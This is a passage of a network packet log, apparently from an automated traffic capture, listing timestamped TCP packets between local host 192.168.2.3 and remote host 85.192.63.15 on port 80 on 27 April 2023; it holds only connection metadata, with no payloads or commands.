Apr 27, 2023 07:42:01.033052921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.033090115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.033114910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.033216000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.039203882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039251089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039295912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039330006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039374113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039408922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.039427042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039470911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039473057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.039516926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039530039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.039555073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.039606094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.039674997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.044008970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044075012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044157028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044190884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044233084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044266939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.044317007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.044414043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.045907974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.045962095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.046006918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.046025991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.046040058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.046111107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.047462940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.047512054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.047559023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.047574997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.047595024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.047651052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.047718048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.048944950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.048994064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.049027920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.049052954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.049072027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.049105883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.049107075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.049150944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.049194098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.050518990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050553083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050596952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050622940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.050673962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.050676107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050719023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050754070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.050755024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.050822020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.052220106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.052277088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.052321911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.052369118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.052378893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.052405119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.052428007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.052479029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.055607080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055685043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055732965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055768967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055804968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.055813074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055846930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055860043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.055891037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055906057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.055936098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055970907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.055975914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.056020975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.056067944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.059748888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.059819937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.059865952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.059880018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.059899092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.059930086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.059937000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.059979916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060029030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060564995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060600996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060645103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060668945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060678959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060723066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060759068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060770035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060796022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.060833931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.060878992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.062356949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.062402964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.062434912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.062459946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.062480927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.062510014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.062520981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.062557936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.062606096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.067452908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067508936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067555904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067603111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067641020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067686081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.067686081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067732096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067776918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067789078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.067811966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.067847967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.067895889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.068888903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.068938971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.068985939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.068994999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.069022894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.069047928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.069093943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.074002981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074054956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074100018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074136019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074172020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.074177980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074223995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074229002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.074270010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074295044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.074306011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.074337959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.074398041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.077303886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.077353001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.077400923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.077425003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.077472925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.077477932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.077517033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.077559948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082293987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082349062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082443953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082468987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082492113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082505941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082546949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082561016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082595110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082612038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082639933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082659006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082700014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082715988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082763910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082771063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082808018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082820892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082842112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082870960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082889080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082896948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082926989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.082948923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.082986116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.083841085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.083890915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.083919048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.083935976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.083961010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.083973885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084021091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084034920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.084055901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084080935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.084100962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084115982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.084148884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084158897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.084184885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.084209919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.084250927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089008093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089051962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089132071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089212894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089212894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089219093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089257002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089301109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089318991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089348078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089365005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089394093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089407921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089442968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089453936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089478970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089504957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089524031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089534998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089567900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089585066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089607000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.089628935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.089677095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.092590094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092652082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092700005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092737913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092787027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092833996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092859030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.092881918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.092897892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.092919111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.093187094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.095172882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095223904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095288992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095343113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.095343113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.095347881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095416069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.095479965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095544100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.095932007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.095968962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.096014023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.096050978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.096272945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.096322060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.096359015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.096396923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.096434116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.097557068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097610950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097649097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.097686052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.097745895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097806931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.097810984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097901106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.097903013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097954035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.097986937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.098030090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.098032951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.098066092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.098068953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.098105907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.098130941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.099257946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.099345922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.099378109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.099426985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.099442959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.099476099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.099483013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.099544048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.102386951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102432966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102475882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102518082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102529049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.102560043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102565050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.102586985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.102602959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102638006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.102667093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.102807045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.104001045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.104043007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.104079962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.104084969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.104105949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.104142904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.104155064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.104373932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105557919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105602980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105645895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105686903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105691910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105719090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105722904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105750084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105765104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105807066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105824947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105839968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.105870008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.105892897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108186007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108231068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108274937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108289957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108309031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108335972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108335972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108350992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108365059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108381987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108438015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108438969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108489037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108494997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108534098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108546019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108567953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.108594894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.108619928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.110922098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.110975027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.111056089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.111090899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.111171007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.111171007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.111171007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.112416983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.112464905 CEST	80	49697	85.192.63.15	192.168.2.3
